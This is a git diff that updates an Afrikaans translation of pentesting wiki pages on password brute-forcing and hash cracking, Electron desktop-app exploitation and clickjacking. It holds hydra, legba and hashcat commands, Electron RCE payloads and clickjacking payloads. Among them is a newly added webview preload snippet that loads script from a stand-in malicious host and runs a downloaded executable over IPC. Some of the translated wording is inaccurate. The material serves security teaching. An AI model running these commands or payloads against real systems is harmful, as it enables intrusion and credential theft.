diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md
index 8b25b7d6a..85e8a1806 100644
--- a/src/generic-hacking/brute-force.md
+++ b/src/generic-hacking/brute-force.md
@@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
 ^ Special characters including spac
 crunch 6 8 -t ,@@^^%%
 ```
-### Cewl
+### Webwerf-gebaseerde woordlyste
 ```bash
+# Cewl gets words from the victims page
 cewl example.com -m 5 -w words.txt
+
+# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
+cat /path/to/urls.txt | tok
+
+# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
+cat /path/to/js-urls.txt | python3 getjswords.py
 ```
 ### [CUPP](https://github.com/Mebus/cupp)
 
@@ -113,7 +120,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
 msf> use auxiliary/scanner/couchdb/couchdb_login
 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
 ```
-### Docker Registrasie
+### Docker Registry
 ```
 hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
 ```
@@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
 legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
 legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
 ```
-### HTTP - Post Vorm
+### HTTP - Post Form
 ```bash
 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
 # Use https-post-form mode for https
@@ -393,11 +400,11 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
 ```
 #### Swak SSH sleutels / Debian voorspelbare PRNG
 
-Sommige stelsels het bekende gebreke in die random seed wat gebruik word om kriptografiese materiaal te genereer. Dit kan lei tot 'n dramaties verminderde sleutelruimte wat met gereedskap soos [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gebruteforce kan word. Vooraf gegenereerde stelle van swak sleutels is ook beskikbaar soos [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
+Sommige stelsels het bekende gebreke in die willekeurige saad wat gebruik word om kriptografiese materiaal te genereer. Dit kan lei tot 'n dramaties verminderde sleutelruimte wat met gereedskap soos [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gebruteforce kan word. Voor-gegenererde stelle van swak sleutels is ook beskikbaar soos [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
 
 ### STOMP (ActiveMQ, RabbitMQ, HornetQ en OpenMQ)
 
-Die STOMP teksprotokol is 'n wyd gebruikte boodskapprotokol wat **naatlose kommunikasie en interaksie met gewilde boodskapqueue-dienste** soos RabbitMQ, ActiveMQ, HornetQ, en OpenMQ toelaat. Dit bied 'n gestandaardiseerde en doeltreffende benadering om boodskappe uit te ruil en verskeie boodskapoperasies uit te voer.
+Die STOMP teksprotokol is 'n wyd gebruikte boodskapprotokol wat **naatlose kommunikasie en interaksie met gewilde boodskap-ry-dienste** soos RabbitMQ, ActiveMQ, HornetQ, en OpenMQ toelaat. Dit bied 'n gestandaardiseerde en doeltreffende benadering om boodskappe uit te ruil en verskeie boodskapoperasies uit te voer.
 ```bash
 legba stomp --target localhost:61613 --username admin --password data/passwords.txt
 ```
@@ -471,8 +478,8 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
 ```
 #### Bekende teks zip aanval
 
-Jy moet die **teks** (of 'n deel van die teks) **van 'n lêer wat binne** die versleutelde zip bevat, weet. Jy kan **lêername en grootte van lêers wat binne** 'n versleutelde zip is, nagaan deur: **`7z l encrypted.zip`**\
-Laai [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)af van die vrylating bladsy.
+Jy moet die **teks** (of 'n deel van die teks) **van 'n lêer wat binne** die versleutelde zip bevat, weet. Jy kan **lêername en grootte van lêers wat binne** 'n versleutelde zip bevat, nagaan deur: **`7z l encrypted.zip`**\
+Laai [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) van die vrylating bladsy af.
 ```bash
 # You need to create a zip file containing only the file that is inside the encrypted zip
 zip plaintext.zip plaintext.file
@@ -583,7 +590,7 @@ Gebruik [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.p
 
 ### Open Office Wachtwoord Beskermde Kolom
 
-As jy 'n xlsx-lêer het met 'n kolom wat deur 'n wagwoord beskerm word, kan jy dit ontkoppel:
+As jy 'n xlsx-lêer het met 'n kolom wat deur 'n wagwoord beskerm word, kan jy dit ontprotect:
 
 - **Laai dit op na google drive** en die wagwoord sal outomaties verwyder word
 - Om dit **handmatig** te **verwyder**:
@@ -620,7 +627,7 @@ hash-identifier
 
 ### **Woordlys Generasie Gereedskap**
 
-- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-wandelgenerator met konfigureerbare basis karakters, sleutelkaart en roetes.
+- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-walk generator met konfigureerbare basis karakters, sleutelkaart en roetes.
 ```bash
 kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
 ```
@@ -706,12 +713,12 @@ Kraken van Linux Hashes - /etc/shadow lêer
 7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
 1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems
 ```
-Kraken van Windows Hashes
+Die verbreking van Windows-hashes
 ```
 3000 | LM                                               | Operating-Systems
 1000 | NTLM                                             | Operating-Systems
 ```
-Kraken van Algemene Toepassing Hashes
+Kraak Algemene Toepassing Hashes
 ```
 900 | MD4                                              | Raw Hash
 0 | MD5                                              | Raw Hash
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index ef67e9187..10faa28e7 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -6,7 +6,7 @@
 
 Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit sommige van die sekuriteitsmeganismes van moderne blaaiers mis.
 
-Gewoonlik sal jy die electron app kode binne 'n `.asar` toepassing vind, om die kode te verkry moet jy dit onttrek:
+Gewoonlik kan jy die electron app kode binne 'n `.asar` toepassing vind, om die kode te verkry moet jy dit onttrek:
 ```bash
 npx asar extract app.asar destfolder #Extract everything
 npx asar extract-file app.asar main.js #Extract just a file
@@ -20,7 +20,7 @@ In die bronkode van 'n Electron-app, binne `packet.json`, kan jy die `main.js`-l
 Electron het 2 prosestipes:
 
 - Hoofproses (het volledige toegang tot NodeJS)
-- Renderer-proses (moet beperkte toegang tot NodeJS hê om veiligheidsredes)
+- Renderer-proses (moet beperkte toegang tot NodeJS hê vir sekuriteitsredes)
 
 ![](<../../../images/image (182).png>)
 
@@ -32,18 +32,18 @@ let win = new BrowserWindow()
 //Open Renderer Process
 win.loadURL(`file://path/to/index.html`)
 ```
-Die instellings van die **renderer-proses** kan **gekonfigureer** word in die **hoofproses** binne die main.js-lêer. Sommige van die konfigurasies sal **voorkom dat die Electron-toepassing RCE kry** of ander kwesbaarhede as die **instellings korrek geconfigureer is**.
+Die instellings van die **renderer process** kan **gekonfigureer** word in die **main process** binne die main.js-lêer. Sommige van die konfigurasies sal **voorkom dat die Electron-toepassing RCE** of ander kwesbaarhede kry as die **instellings korrek geconfigureer is**.
 
-Die electron-toepassing **kan toegang tot die toestel verkry** via Node-apis alhoewel dit geconfigureer kan word om dit te voorkom:
+Die electron-toepassing **kan toegang tot die toestel** verkry via Node-apis alhoewel dit geconfigureer kan word om dit te voorkom:
 
-- **`nodeIntegration`** - is `af` per standaard. As aan, laat dit toe om toegang te verkry tot node-funksies vanaf die renderer-proses.
-- **`contextIsolation`** - is `aan` per standaard. As af, is hoof- en renderer-prosesse nie geïsoleer nie.
+- **`nodeIntegration`** - is `off` per standaard. As aan, laat dit toe om toegang tot node-funksies vanaf die renderer process te verkry.
+- **`contextIsolation`** - is `on` per standaard. As af, is die hoof- en renderer processes nie geïsoleer nie.
 - **`preload`** - leeg per standaard.
 - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is af per standaard. Dit sal die aksies wat NodeJS kan uitvoer beperk.
 - Node Integrasie in Werkers
-- **`nodeIntegrationInSubframes`** - is `af` per standaard.
-- As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js APIs** in webbladsye wat in **iframes** binne 'n Electron-toepassing **gelaai** word, toelaat.
-- As **`nodeIntegration`** **gedeaktiveer** is, sal preloads in die iframe laai.
+- **`nodeIntegrationInSubframes`** - is `off` per standaard.
+- As **`nodeIntegration`** geaktiveer is, sal dit die gebruik van **Node.js APIs** in webbladsye wat in **iframes** binne 'n Electron-toepassing gelaai word, toelaat.
+- As **`nodeIntegration`** gedeaktiveer is, sal preloads in die iframe gelaai word.
 
 Voorbeeld van konfigurasie:
 ```javascript
@@ -101,7 +101,7 @@ Wysig die start-main konfigurasie en voeg die gebruik van 'n proxy soos by:
 ```javascript
 "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
 ```
-## Electron Plaaslike Kode-inspuiting
+## Electron Plaaslike Kode Inspuiting
 
 As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer willekeurige javascript kode. Kyk hoe in:
 
@@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
 
 ## RCE: preload
 
-Die skrip wat in hierdie instelling aangedui word, is l**aad voor ander skripte in die renderer**, so dit het **onbeperkte toegang tot Node APIs**:
+Die skrip wat in hierdie instelling aangedui word, is l**oaded voordat ander skrips in die renderer**, so dit het **onbeperkte toegang tot Node APIs**:
 ```javascript
 new BrowserWindow{
 webPreferences: {
@@ -154,7 +154,7 @@ runCalc()
 
 Die _**contextIsolation**_ stel die **geskeide kontekste tussen die webbladskripte en die JavaScript Electron se interne kode** in, sodat die JavaScript-uitvoering van elke kode nie mekaar beïnvloed nie. Dit is 'n noodsaaklike kenmerk om die moontlikheid van RCE te elimineer.
 
-As die kontekste nie geskei is nie, kan 'n aanvaller:
+As die kontekste nie geïsoleer is nie, kan 'n aanvaller:
 
 1. **Arbitraire JavaScript in renderer uitvoer** (XSS of navigasie na eksterne webwerwe)
 2. **Oorskryf die ingeboude metode** wat in preload of Electron interne kode gebruik word na eie funksie
@@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md
 
 ### Bypass klik gebeurtenis
 
-As daar beperkings toegepas word wanneer jy op 'n skakel klik, mag jy in staat wees om dit te omseil **deur 'n middelklik** in plaas van 'n gewone linkerklik.
+As daar beperkings toegepas word wanneer jy op 'n skakel klik, mag jy in staat wees om dit te omseil **deur 'n middelklik** te doen in plaas van 'n gewone linkerklik
 ```javascript
 window.addEventListener('click', (e) => {
 ```
@@ -200,11 +200,11 @@ Hierdie luisteraars word **oorheers deur die lessenaartoepassing** om sy eie **b
 
 ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
 
-Electron JS sekuriteitsbeste praktyke raai teen die aanvaarding van onbetroubare inhoud met die `openExternal` funksie, aangesien dit kan lei tot RCE deur verskeie protokolle. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan ontketen. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan 'n mens na [hierdie hulpbron](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows protokolvoorbeelde insluit wat in staat is om hierdie kwesbaarheid te benut.
+Electron JS sekuriteitsbeste praktyke raai teen die aanvaarding van onbetroubare inhoud met die `openExternal` funksie, aangesien dit kan lei tot RCE deur verskeie protokolle. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan aktiveer. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan 'n mens na [hierdie hulpbron](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows protokolvoorbeelde insluit wat in staat is om hierdie kwesbaarheid te benut.
 
 In macos kan die `openExternal` funksie benut word om arbitrêre opdragte uit te voer soos in `shell.openExternal('file:///System/Applications/Calculator.app')`.
 
-**Voorbeelde van Windows protokol eksploit is:**
+**Voorbeelde van Windows protokoluitbuitings sluit in:**
 ```html
 <script>
 window.open(
@@ -224,9 +224,30 @@ window.open(
 )
 </script>
 ```
+## RCE: webviewTag + kwesbare preload IPC + shell.openExternal
+
+Hierdie kwesbaarheid kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
+
+Die **webviewTag** is 'n **verouderde kenmerk** wat die gebruik van **NodeJS** in die **renderer-proses** toelaat, wat afgeskakel moet word aangesien dit toelaat om 'n skrip binne die preload-konteks te laai soos:
+```xml
+<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
+```
+Daarom kan 'n aanvaller wat daarin slaag om 'n arbitrêre bladsy te laai, daardie etiket gebruik om **'n arbitrêre vooraflaai-skrip te laai**.
+
+Hierdie vooraflaai-skrip is dan misbruik om 'n **kwetsbare IPC-diens (`skype-new-window`)** aan te roep wat **`shell.openExternal`** aangeroep het om RCE te verkry:
+```javascript
+(async() => {
+const { ipcRenderer } = require("electron");
+await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
+setTimeout(async () => {
+const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
+await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
+}, 5000);
+})();
+```
 ## Lees Interne Lêers: XSS + contextIsolation
 
-**Deaktiveer `contextIsolation` stel die gebruik van `<webview>` merke in**, soortgelyk aan `<iframe>`, vir die lees en eksterne oordrag van plaaslike lêers. 'n Voorbeeld wat gegee word demonstreer hoe om hierdie kwesbaarheid te benut om die inhoud van interne lêers te lees:
+**Deaktiveer `contextIsolation` stel die gebruik van `<webview>` etikette in**, soortgelyk aan `<iframe>`, vir die lees en eksterne oordrag van plaaslike lêers. 'n Voorbeeld wat gegee word demonstreer hoe om hierdie kwesbaarheid te benut om die inhoud van interne lêers te lees:
 
 ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
 
@@ -248,37 +269,41 @@ frames[0].document.body.innerText
 ```
 ## **RCE: XSS + Ou Chromium**
 
-As die **chromium** wat deur die toepassing gebruik word **oud** is en daar **bekende** **kwesbaarhede** daarop is, mag dit moontlik wees om dit te **ontgin en RCE te verkry deur 'n XSS**.\
+As die **chromium** wat deur die aansoek gebruik word **oud** is en daar **bekende** **kwesbaarhede** daarop is, mag dit moontlik wees om dit te **ontgin en RCE te verkry deur 'n XSS**.\
 Jy kan 'n voorbeeld in hierdie **skrywe** sien: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
 
 ## **XSS Phishing via Interne URL regex omseiling**
 
-As jy 'n XSS gevind het maar jy **kan nie RCE aktiveer of interne lêers steel** nie, kan jy probeer om dit te **gebruik om geloofsbriewe via phishing te steel**.
+As jy 'n XSS gevind het maar jy **kan nie RCE aktiveer of interne lêers steel** nie, kan jy probeer om dit te gebruik om **akkrediteer te steel via phishing**.
 
 Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL te open, deur die JS-kode in die front-end na te gaan:
 ```javascript
 webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
 webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
 ```
-Die oproep na **`openInternally`** sal besluit of die **skakel** in die **desktop venster** geopen sal word aangesien dit 'n skakel is wat aan die platform behoort, **of** of dit in die **blaaier as 'n 3de party hulpbron** geopen sal word.
+Die oproep na **`openInternally`** sal besluit of die **skakel** in die **desktop venster** geopen sal word, aangesien dit 'n skakel is wat aan die platform behoort, **of** of dit in die **blaaier as 'n 3de party hulpbron** geopen sal word.
 
-In die geval dat die **regex** wat deur die funksie gebruik word **kwulnerabel is vir omseilings** (byvoorbeeld deur **nie die punte van subdomeine te ontsnap**) kan 'n aanvaller die XSS misbruik om **'n nuwe venster te open wat** in die aanvallers infrastruktuur geleë sal wees **wat om akrediteeringe** van die gebruiker vra:
+In die geval dat die **regex** wat deur die funksie gebruik word **kwulnerabel is vir omseilings** (byvoorbeeld deur **nie die punte van subdomeine te ontsnap nie**) kan 'n aanvaller die XSS misbruik om **'n nuwe venster te open wat** in die aanvallers infrastruktuur geleë sal wees **wat om akrediteerbare inligting** van die gebruiker vra:
 ```html
 <script>
 window.open("<http://subdomainagoogleq.com/index.html>")
 </script>
 ```
-## Remote module
+## `file://` Protokol
 
-Die Electron Remote module laat **renderer prosesse toegang tot hoof proses API's** toe, wat kommunikasie binne 'n Electron-toepassing vergemaklik. Die aktivering van hierdie module bring egter beduidende sekuriteitsrisiko's mee. Dit vergroot die toepassing se aanvaloppervlak, wat dit meer kwesbaar maak vir kwesbaarhede soos cross-site scripting (XSS) aanvalle.
+Soos genoem in [die dokumentasie](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) het bladsye wat op **`file://`** loop unilaterale toegang tot elke lêer op jou masjien, wat beteken dat **XSS-probleme gebruik kan word om arbitrêre lêers** van die gebruiker se masjien te laai. Die gebruik van 'n **aangepaste protokol** voorkom probleme soos hierdie, aangesien jy die protokol kan beperk tot slegs 'n spesifieke stel lêers.
+
+## Afgeleë module
+
+Die Electron Afgeleë module laat **renderer prosesse toe om toegang te verkry tot hoof proses API's**, wat kommunikasie binne 'n Electron-toepassing fasiliteer. Dit stel egter 'n beduidende sekuriteitsrisiko in. Dit vergroot die toepassing se aanvaloppervlak, wat dit meer kwesbaar maak vir kwesbaarhede soos kruis-webskripting (XSS) aanvalle.
 
 > [!TIP]
-> Alhoewel die **remote** module 'n paar API's van hoof na renderer prosesse blootstel, is dit nie reguit om RCE te verkry net deur die komponente te misbruik nie. Die komponente kan egter sensitiewe inligting blootstel.
+> Alhoewel die **afgeleë** module 'n paar API's van hoof na renderer prosesse blootstel, is dit nie reguit om RCE te verkry net deur die komponente te misbruik nie. Die komponente kan egter sensitiewe inligting blootstel.
 
 > [!WARNING]
-> Baie toepassings wat steeds die remote module gebruik, doen dit op 'n manier wat **NodeIntegration geaktiveer moet wees** in die renderer proses, wat 'n **groot sekuriteitsrisiko** is.
+> Baie toepassings wat steeds die afgeleë module gebruik, doen dit op 'n manier wat **NodeIntegration geaktiveer moet wees** in die renderer proses, wat 'n **groot sekuriteitsrisiko** is.
 
-Sedert Electron 14 kan die `remote` module van Electron in verskeie stappe geaktiveer word, maar weens sekuriteits- en prestasieredene is dit **aanbeveel om dit nie te gebruik nie**.
+Sedert Electron 14 kan die `afgeleë` module van Electron in verskeie stappe geaktiveer word, maar weens sekuriteits- en prestasieredene is dit **aanbeveel om dit nie te gebruik nie**.
 
 Om dit te aktiveer, moet dit eers **in die hoof proses geaktiveer word**:
 ```javascript
@@ -302,11 +327,11 @@ Die **[blog pos](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
 - **`app.setAppLogsPath([path])`**
 - **Definieer** of **skep** 'n gids vir die stoor van **toepassing logs**. Die logs kan **herwin** of **gewysig** word met behulp van **`app.getPath()`** of **`app.setPath(pathName, newPath)`**.
 - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
-- **Registreer** die huidige uitvoerbare as die **standaardhandler** vir 'n gespesifiseerde **protokol**. Jy kan 'n **aangepaste pad** en **argumente** verskaf indien nodig.
+- **Registreer** die huidige uitvoerbare as die **standaardhandler** vir 'n spesifieke **protokol**. Jy kan 'n **aangepaste pad** en **argumente** verskaf indien nodig.
 - **`app.setUserTasks(tasks)`**
 - **Voeg** take by die **Take kategorie** in die **Jump List** (op Windows). Elke taak kan beheer hoe die toepassing **begin** of watter **argumente** oorgedra word.
 - **`app.importCertificate(options, callback)`**
-- **Importeer** 'n **PKCS#12 sertifikaat** in die stelsel se **sertifikaatwinkel** (slegs Linux). 'n **callback** kan gebruik word om die resultaat te hanteer.
+- **Implementeer** 'n **PKCS#12 sertifikaat** in die stelsel se **sertifikaatwinkel** (slegs Linux). 'n **Terugroep** kan gebruik word om die resultaat te hanteer.
 - **`app.moveToApplicationsFolder([options])`**
 - **Verskuif** die toepassing na die **Toepassingsgids** (op macOS). Help om 'n **standaard installasie** vir Mac-gebruikers te verseker.
 - **`app.setJumpList(categories)`**
@@ -319,7 +344,7 @@ Native.app.exit()
 ```
 ## systemPreferences module
 
-Die **primêre API** vir toegang tot stelselsvoorkeure en **uitstoot van stelselsgebeurtenisse** in Electron. Metodes soos **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, en **setUserDefault** is almal **deel van** hierdie module.
+Die **primêre API** vir die toegang tot stelselsvoorkeure en **uitstoot van stelselsgebeurtenisse** in Electron. Metodes soos **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, en **setUserDefault** is almal **deel van** hierdie module.
 
 **Voorbeeld gebruik:**
 ```javascript
@@ -338,11 +363,11 @@ console.log('Recent Places:', recentPlaces);
 
 * **Luister** na **natuurlike macOS kennisgewings** met behulp van NSDistributedNotificationCenter.
 * Voor **macOS Catalina** kon jy **alle** verspreide kennisgewings afluister deur **nil** aan CFNotificationCenterAddObserver te gee.
-* Na **Catalina / Big Sur** kan gesandboksde programme steeds **subskribere** op **baie gebeurtenisse** (byvoorbeeld, **skerm sluit/ontsluit**, **volume monteer**, **netwerkaktiwiteit**, ens.) deur kennisgewings **per naam** te registreer.
+* Na **Catalina / Big Sur** kan gesandboxde toepassings steeds **subskribere** op **baie gebeurtenisse** (byvoorbeeld, **skerm vergrendeling/ontgrendeling**, **volume monteer**, **netwerkaktiwiteit**, ens.) deur kennisgewings **per naam** te registreer.
 
 ### **getUserDefault / setUserDefault**
 
-* **Interfases** met **NSUserDefaults**, wat **toepassing** of **globale** voorkeure op macOS stoor.
+* **Interfereer** met **NSUserDefaults**, wat **toepassing** of **globale** voorkeure op macOS stoor.
 
 * **getUserDefault** kan **sensitiewe** inligting **herwin**, soos **onlangs lêer plekke** of **gebruiker se geografiese ligging**.
 
@@ -352,13 +377,13 @@ console.log('Recent Places:', recentPlaces);
 
 ## Shell.showItemInFolder
 
-Hierdie funksie wys die gegewe lêer in 'n lêerbestuurder, wat **die lêer outomaties kan uitvoer**.
+Hierdie funksie wys die gegewe lêer in 'n lêerbestuurder, wat **automaties die lêer kan uitvoer**.
 
 Vir meer inligting, kyk [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
 
 ## Content Security Policy
 
-Electron programme moet 'n **Content Security Policy (CSP)** hê om **XSS-aanvalle** te **voorkom**. Die **CSP** is 'n **veiligheidsstandaard** wat help om die **uitvoering** van **onbetroubare kode** in die blaaier te **voorkom**.
+Electron toepassings moet 'n **Content Security Policy (CSP)** hê om **XSS-aanvalle** te **voorkom**. Die **CSP** is 'n **veiligheidsstandaard** wat help om die **uitvoering** van **onbetroubare kode** in die blaaiers te **voorkom**.
 
 Dit word gewoonlik **gekonfigureer** in die **`main.js`** lêer of in die **`index.html`** sjabloon met die CSP binne 'n **meta tag**.
 
diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md
index 56f2638ef..35b0c7c99 100644
--- a/src/pentesting-web/clickjacking.md
+++ b/src/pentesting-web/clickjacking.md
@@ -4,17 +4,17 @@
 
 ## Wat is Clickjacking
 
-In 'n clickjacking-aanval word 'n **gebruiker** **mislei** om op 'n **element** op 'n webblad te **klik** wat ofwel **on sigbaar** is of as 'n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, herleiding na kwaadwillige webbladsye, verskaffing van akredensiale of sensitiewe inligting, geldtransfers, of die aanlyn aankoop van produkte.
+In 'n clickjacking-aanval word 'n **gebruiker** **mislei** om op 'n **element** op 'n webblad te **klik** wat of **on sigbaar** is of as 'n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, herleiding na kwaadwillige webbladsye, verskaffing van akrediteer of sensitiewe inligting, geldtransfers, of die aanlyn aankoop van produkte.
 
 ### Prepopulate forms trick
 
 Soms is dit moontlik om die **waarde van velde van 'n vorm te vul met GET parameters wanneer 'n bladsy gelaai word**. 'n Aanvaller kan hierdie gedrag misbruik om 'n vorm met arbitrêre data te vul en die clickjacking payload te stuur sodat die gebruiker die knoppie Indien druk.
 
-### Vul vorm met Drag\&Drop
+### Populate form with Drag\&Drop
 
-As jy die gebruiker nodig het om 'n **vorm** te **vul** maar jy wil nie direk vra dat hy spesifieke inligting (soos die e-pos en of spesifieke wagwoord wat jy ken) skryf nie, kan jy hom net vra om iets te **Drag\&Drop** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
+As jy die gebruiker nodig het om 'n **vorm** te **vul** maar jy wil nie direk vra dat hy spesifieke inligting (soos die e-pos en of spesifieke wagwoord wat jy weet) skryf nie, kan jy hom net vra om iets te **Drag\&Drop** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
 
-### Basiese Payload
+### Basic Payload
 ```css
 <style>
 iframe {
@@ -34,7 +34,7 @@ z-index: 1;
 <div>Click me</div>
 <iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
 ```
-### Meervoudige Laaiers
+### Meervoudige Stap Payload
 ```css
 <style>
 iframe {
@@ -96,10 +96,12 @@ Jy het 'n **self XSS** in sommige privaat besonderhede van die rekening gevind (
 
 ### DoubleClickjacking
 
-Eerstens [verduidelik in hierdie pos](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), hierdie tegniek sou die slagoffer vra om dubbel op 'n knoppie van 'n pasgemaakte bladsy te klik wat op 'n spesifieke plek geplaas is, en die tydsverskille tussen mousedown en onclick gebeurtenisse te gebruik om die slagofferbladsy te laai tydens die dubbelklik sodat die **slagoffer werklik op 'n regte knoppie in die slagofferbladsy klik**.
+Eerstens [verduidelik in hierdie pos](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), hierdie tegniek sou die slagoffer vra om dubbel te klik op 'n knoppie van 'n pasgemaakte bladsy wat op 'n spesifieke plek geplaas is, en die tydsverskille tussen mousedown en onclick gebeurtenisse gebruik om die slagofferbladsy te laai tydens die dubbelklik sodat die **slagoffer werklik op 'n regte knoppie in die slagofferbladsy klik**.
 
 'n Voorbeeld kan in hierdie video gesien word: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
 
+'n Kodevoorbeeld kan gevind word in [hierdie bladsy](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
+
 > [!WARNING]
 > Hierdie tegniek laat toe om die gebruiker te mislei om op 1 plek in die slagofferbladsy te klik en elke beskerming teen clickjacking te omseil. So die aanvaller moet **sensitiewe aksies vind wat met net 1 klik gedoen kan word, soos OAuth prompts wat toestemmings aanvaar**.
 
@@ -117,14 +119,14 @@ Scripts wat aan die kliëntkant uitgevoer word, kan aksies uitvoer om Clickjacki
 Egter, hierdie frame-busting scripts kan omseil word:
 
 - **Browers se Sekuriteitsinstellings:** Sommige blaaiers mag hierdie scripts blokkeer gebaseer op hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
-- **HTML5 iframe `sandbox` Attribuut:** 'n Aanvaller kan frame buster scripts neutraliseer deur die `sandbox` attribuut met `allow-forms` of `allow-scripts` waardes te stel sonder `allow-top-navigation`. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv.,
+- **HTML5 iframe `sandbox` Attribuut:** 'n Aanvaller kan frame buster scripts neutraliseer deur die `sandbox` attribuut met `allow-forms` of `allow-scripts` waardes sonder `allow-top-navigation` in te stel. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv.,
 ```html
 <iframe
 id="victim_website"
 src="https://victim-website.com"
 sandbox="allow-forms allow-scripts"></iframe>
 ```
-Die `allow-forms` en `allow-scripts` waardes stel aksies binne die iframe in terwyl top-niveau navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die tipe aanval. Bladsy-konsolboodskappe kan lei oor watter toestemmings toegestaan moet word.
+Die `allow-forms` en `allow-scripts` waardes stel aksies binne die iframe in staat terwyl top-niveau navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die tipe aanval. Bladsy-konsolboodskappe kan lei oor watter toestemmings toegelaat moet word.
 
 ### Bediener-kant Verdedigings
 
@@ -132,12 +134,12 @@ Die `allow-forms` en `allow-scripts` waardes stel aksies binne die iframe in ter
 
